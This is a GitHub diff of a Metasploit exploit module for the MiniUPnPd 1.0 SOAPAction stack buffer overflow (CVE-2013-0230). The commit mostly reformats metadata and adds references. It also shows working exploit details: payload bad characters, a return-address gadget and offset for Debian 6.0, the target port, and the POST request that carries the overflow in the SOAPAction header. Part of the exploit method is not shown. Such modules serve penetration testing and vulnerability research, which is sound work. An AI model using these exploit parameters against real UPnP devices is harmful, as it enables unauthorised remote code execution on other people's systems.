|
9 | 9 |
|
10 | 10 | class Metasploit3 < Msf::Exploit::Remote
|
11 | 11 | include Msf::Exploit::Remote::HttpClient
|
12 |
| - Rank = NormalRanking |
| 12 | + Rank = NormalRanking |
13 | 13 |
|
14 | 14 | def initialize(info = {})
|
15 | 15 | super(update_info(info,
|
16 |
| - 'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution', |
17 |
| - 'Description' => |
18 |
| - %q{ |
19 |
| - This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability present |
20 |
| - in the SOAPAction HTTP header. |
21 |
| - }, |
22 |
| - 'Author' => [ 'Dejan Lukan' ], |
23 |
| - 'License' => MSF_LICENSE, |
24 |
| - 'DefaultOptions' => { 'EXITFUNC' => 'process', }, |
| 16 | + 'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability |
| 19 | + present in the SOAPAction HTTP header handling. |
| 20 | + }, |
| 21 | + 'Author' => |
| 22 | + [ |
| 23 | + 'hdm', # Vulnerability discovery |
| 24 | + 'Dejan Lukan' # Metasploit module |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, |
25 | 28 | # the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
|
26 | 29 | # input, which is why it can't be part of the shellcode (otherwise the vulnerable part
|
27 | 30 | # of the program is never reached)
|
28 |
| - 'Payload' => { 'Space' => 2060, 'BadChars' => "\x00\x22", 'DisableNops' => true }, |
29 |
| - 'Platform' => 'linux', |
30 |
| - 'References' => [ |
31 |
| - [ 'CVE', '2013-0230' ], |
32 |
| - [ 'OSVDB', '89624' ], |
33 |
| - ], |
34 |
| - 'Targets' => |
| 31 | + 'Payload' => |
| 32 | + { |
| 33 | + 'Space' => 2060, |
| 34 | + 'BadChars' => "\x00\x22", |
| 35 | + 'DisableNops' => true |
| 36 | + }, |
| 37 | + 'Platform' => 'linux', |
| 38 | + 'References' => |
| 39 | + [ |
| 40 | + [ 'CVE', '2013-0230' ], |
| 41 | + [ 'OSVDB', '89624' ], |
| 42 | + [ 'BID', '57608' ], |
| 43 | + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play'] |
| 44 | + ], |
| 45 | + 'Targets' => |
35 | 46 | [
|
36 |
| - ['Debian GNU/Linux 6.0', { 'Ret' => 0x0804ee43, 'Offset' => 2123 }], |
| 47 | + [ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0', |
| 48 | + { |
| 49 | + 'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd |
| 50 | + 'Offset' => 2123 |
| 51 | + } |
| 52 | + ], |
37 | 53 | ],
|
38 |
| - 'DefaultTarget' => 0, |
39 |
| - 'Privileged' => false, |
40 |
| - 'DisclosureDate' => 'Mar 27 2013', |
41 |
| - )) |
| 54 | + 'DefaultTarget' => 0, |
| 55 | + 'Privileged' => false, |
| 56 | + 'DisclosureDate' => 'Mar 27 2013', |
| 57 | + )) |
42 | 58 |
|
43 |
| - register_options( |
44 |
| - [ |
45 |
| - Opt::RPORT(5555), |
46 |
| - ], self.class) |
| 59 | + register_options([ |
| 60 | + Opt::RPORT(5555), |
| 61 | + ], self.class) |
47 | 62 | end
|
48 | 63 |
|
49 | 64 | def exploit
|
@@ -92,14 +107,13 @@ def exploit
|
92 | 107 | "</SOAP-ENV:Body>\r\n" +
|
93 | 108 | "</SOAP-ENV:Envelope>\r\n"
|
94 | 109 |
|
95 |
| - |
96 | 110 | #
|
97 | 111 | # Build and send the HTTP request
|
98 | 112 | #
|
99 | 113 | print_status("Sending exploit to victim #{target.name} at ...")
|
100 | 114 | send_request_cgi({
|
101 | 115 | 'method' => 'POST',
|
102 |
| - 'uri' => target_uri.path, |
| 116 | + 'uri' => "/", |
103 | 117 | 'headers' => {
|
104 | 118 | 'SOAPAction' => sploit,
|
105 | 119 | },
|
|
0 commit comments